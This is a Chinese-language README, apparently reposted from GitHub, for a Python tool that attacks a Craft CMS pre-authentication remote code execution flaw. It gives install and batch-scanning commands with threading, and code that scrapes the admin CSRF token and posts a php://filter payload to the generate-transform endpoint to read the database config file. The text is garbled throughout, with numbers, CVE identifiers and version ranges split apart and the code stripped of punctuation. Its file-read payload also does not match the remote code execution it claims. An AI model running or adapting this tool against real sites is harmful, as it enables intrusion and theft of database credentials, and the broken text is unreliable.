核心内容摘要
Java 算法
CraftCMS CVE-
远程代码执行漏洞利用工具
项目概述本项目是一个针对CraftCMS
x和
x版本中存在的CVE-
预认证远程代码执行RCE漏洞的专业自动化利用工具。
该漏洞存在于资产转换生成端点允许攻击者通过不安全的反序列化执行任意代码CVSS评分为
1
0的严重级别。
工具能够自动提取CSRF令牌并尝试通过/actions/assets/generate-transform端点实现远程代码执行验证成功后提取CRAFT_DB_DATABASE和HOME目录值作为利用证明。
✨ 核心特性自动CSRF令牌提取智能解析CraftCMS管理面板获取CSRF令牌批量目标支持支持从文件读取多个目标URL进行批量检测多线程并发处理可配置线程数提升批量检测效率SSL支持可处理HTTPS连接并可选禁用SSL验证详细输出提供清晰的利用结果和成功指示轻量级依赖仅需标准Python库和少数第三方包 安装指南系统要求Python
6或更高版本操作系统Windows、Linux或macOS依赖安装# 克隆项目仓库gitclone https://github.com/B1ack4sh/Blackash-CVE-2025-
gitcdCVE-
# 安装Python依赖pipinstall-r requirements.txt依赖包说明requestsHTTP请求库beautifulsoup4HTML解析库urllib3URL处理库 使用说明单目标检测检测单个目标网站sudopython3 CVE-2025-
py -u example.com批量目标检测从文件读取多个目标进行批量检测sudopython3 CVE-2025-
py -f urls.txt -t10其中-t参数指定线程数默认为5参数选项-u, --url 单目标URL检测 -f, --file 包含目标URL的文件每行一个 -t, --threads 并发线程数默认5 -h, --help 显示帮助信息 核心代码解析主类初始化classCraftCMSExploit:def__init__(self,url):初始化漏洞利用对象self.urlurlifurl.endswith(/)elseurl/self.sessionrequests.Session()self.session.verifyFalseself.session.timeout15self.session.headers{User-Agent:Mozilla/
0 (Windows NT
1
0; Win64; x
AppleWebKit/
5
36 (KHTML, like Gecko) Chrome/
96.
0.
4
110 Safari/
5
36}功能说明初始化漏洞利用类设置HTTP会话、超时时间和请求头确保URL格式正确。
CSRF令牌提取defextract_csrf_token(self):从仪表板页面提取CSRF令牌try:dashboard_urlself.urlindex.php?padmin/dashboardresponseself.session.get(dashboard_url,timeout
ifresponse.status_code200:soupBeautifulSoup(response.text,html.parser)csrf_inputsoup.find(input,{name:CRAFT_CSRF_TOKEN})ifcsrf_inputandcsrf_input.get(value):csrf_tokencsrf_input.get(value)returncsrf_tokenexceptExceptionase:returnNonereturnNone功能说明访问CraftCMS管理仪表板解析HTML页面提取CRAFT_CSRF_TOKEN输入字段的值用于后续的认证绕过。
URL规范化处理defnormalize_url(self,url):确保URL包含协议头ifnoturl.startswith(http):urlhttp://urlreturnurl功能说明自动为没有协议头的URL添加HTTP协议确保URL格式正确可用。
漏洞利用执行流程defexploit(self):执行完整的漏洞利用流程#
提取CSRF令牌csrf_tokenself.extract_csrf_token()ifnotcsrf_token:returnFalse,无法提取CSRF令牌#
构建恶意请求载荷payload{CRAFT_CSRF_TOKEN:csrf_token,assetId:1,transformString:php://filter/readconvert.base64-encode/resourceconfig/db.php}#
发送漏洞利用请求exploit_urlself.urlactions/assets/generate-transformresponseself.session.post(exploit_url,datapayload)#
验证利用结果ifresponse.status_code200:# 解析响应提取敏感信息returnTrue,漏洞利用成功else:returnFalse,漏洞利用失败功能说明完整的漏洞利用流程包括令牌提取、载荷构建、请求发送和结果验证四个关键步骤。
⚠️ 受影响版本Craft CMS
x
3.
0-RC1 至
3.
14Craft CMS
x
4.
0-RC1 至
4.
1
14Craft CMS
x
5.
0-RC1 至
5.
16️ 安全建议立即更新到已修复版本
3.
9.
15、
4.
1
15或
5.
17监控可疑请求关注包含__class参数的POST请求加强日志审计定期检查系统日志中的异常活动实施网络防护在防火墙级别限制敏感端点的访问免责声明本工具仅供安全研究和授权测试使用。
未经授权的漏洞利用是非法的。
使用者需承担全部责任开发者不对任何滥用行为负责。
FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ5W9yu/y4rNiRa/52/RTRa0更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享